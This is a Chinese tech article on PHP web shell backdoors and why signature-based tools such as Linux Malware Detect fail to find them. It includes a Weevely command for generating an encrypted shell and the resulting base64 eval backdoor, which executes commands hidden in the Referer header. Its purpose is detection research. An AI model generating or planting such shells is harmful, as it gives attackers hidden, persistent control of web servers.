扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共4页)
网页服务器已经成为当前恶意活动的主要目标之一,而且常常被视为机构基础设施内部的主要薄弱环节。网页应用程序代码总是在相关机构部署之后就被忘在一边或是处于无人维护的状态,这就使其很容易作为整套体系中的缺口受到攻击。网页应用程序在开发中常常会用到例如PHP,Python,Ruby以及Perl等脚本语言。由于这些语言自身的复杂性,因此很容易导致网页应用程序在执行任意脚本代码的过程中产生安全问题。
这些讨厌的"shell"到底做了什么? 当上述条件得到满足时,攻击者们往往会寻求一种利用部署网页shell代码并进行持续访问的方式来发动入侵。这种代码会建立起一套可以顺利访问网页服务器的"虚拟"shell。这种shell通常会在系统接受的指令执行及文件访问动作中,夹杂其它讨厌的恶意功能。 设想一下,当你意识到自己正在管理的某个网站有可能存在安全漏洞。你在网页服务器上所共享的PHP页面数以千计,而攻击者可能在其中的数个乃至更多页面上植入了后门程序。当然你会尝试通过对系统进行扫描并检查IDS(即入侵检测系统)日志文件来解决问题,但我们也可以想到,后门也许有能力对该运行环境进行自定义修改。如此一来,基于认证签名来发挥作用的工具将变得毫无用处。在这种情况下,我们该如何检测及清除此类杀毒软件及IDS无法寻获的后门呢? 这里我们所讨论的后门类型仅限于网页shell。网页shell型后门可被定义为:以一种非公开的方式在动态服务器端的网页页面中获取对计算机系统控制台的访问权限。一般来说这些网页shell构造简单、易于检测。举例说明,让我们一起看看下面这个PHP文件: 这个shell的构造十分简单,并允许攻击者只需输入如下图所示的网址即可轻松执行命令: 而更复杂的网页shell则包含了与控制台的交互方式及文件编辑等内容。C99 shell所提供的自述文件(C99 shell是一款已经诞生将近十年的后门工具)中,规定了如下的特性: 我们怎样检测出未加密的shell? 像C99这样的shell能够通过制定一些关键词搜索的方式被检测出来,当然使用一款基于签名认证的检测工具也同样可以做到。我们可以通过检索下面这一串内容来从网页服务器中尝试找出PHP后门(本例子借鉴于Steven Whitney的相关论著):
可以想见,这种检索方式会产生大量误报,因为这些回馈有很大一部分来自合法的网页应用程序。我们也可以尝试利用类似Linux恶意软件检测(简称LMD)的工具。我们运行Linux恶意软件检测来对一款网页指令型shell所制造的九十个后门进行检测,而LMD能够通过扫描找出全部九十个后门中的三十七个。这么低的识别率其实并不奇怪,因为网页shell中有一些是专门针对Windows操作系统所设计的。而真正令人惊讶的是Linux恶意软件检测并没能够识别出诸如isko,shellzx这些致命的网页shell。
这些保障手段如何对抗自定义类型的shell?
我们还创建了一套自定义的网页shell。我们使用了Weevely工具来生成了一个恶意并加密了的后门,用以执行下列命令:
- server# python weevely.py -g -o test_shell.php -p qazwsxedc
该命令行的效果是生成了一个加密过的网络shell,密码为'qazwsxedc':
- eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc
- 2V0KCRhKT09J3FhJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHp3c3hlZGM+JztldmFsKGJhc2U2NF 9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTM pKSkpKTtlY2hvICc8L3p3c3hlZGM+Jzt9′));
- ?>
我们再次利用LMD对该目录进行检测,而test_shell.php未被识别出来。
为了克服基于签名认证体系的检测,有些网页shell,例如Weevely所生成的那些,通过采取一些特别的结构来规避检测的扫描机制。定制代码被进行压缩并利用加密技术来使其内容变得更具迷惑性,进而逃避侦查。这种情况在对抗基于签名认证或是关键字搜索的检测系统时尤为高效。此外,在企业的网页服务器上从数以万计的文件中查找包含特定内容的对象本身也非常困难,因为所需检索的目标数据的体积太过庞大。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。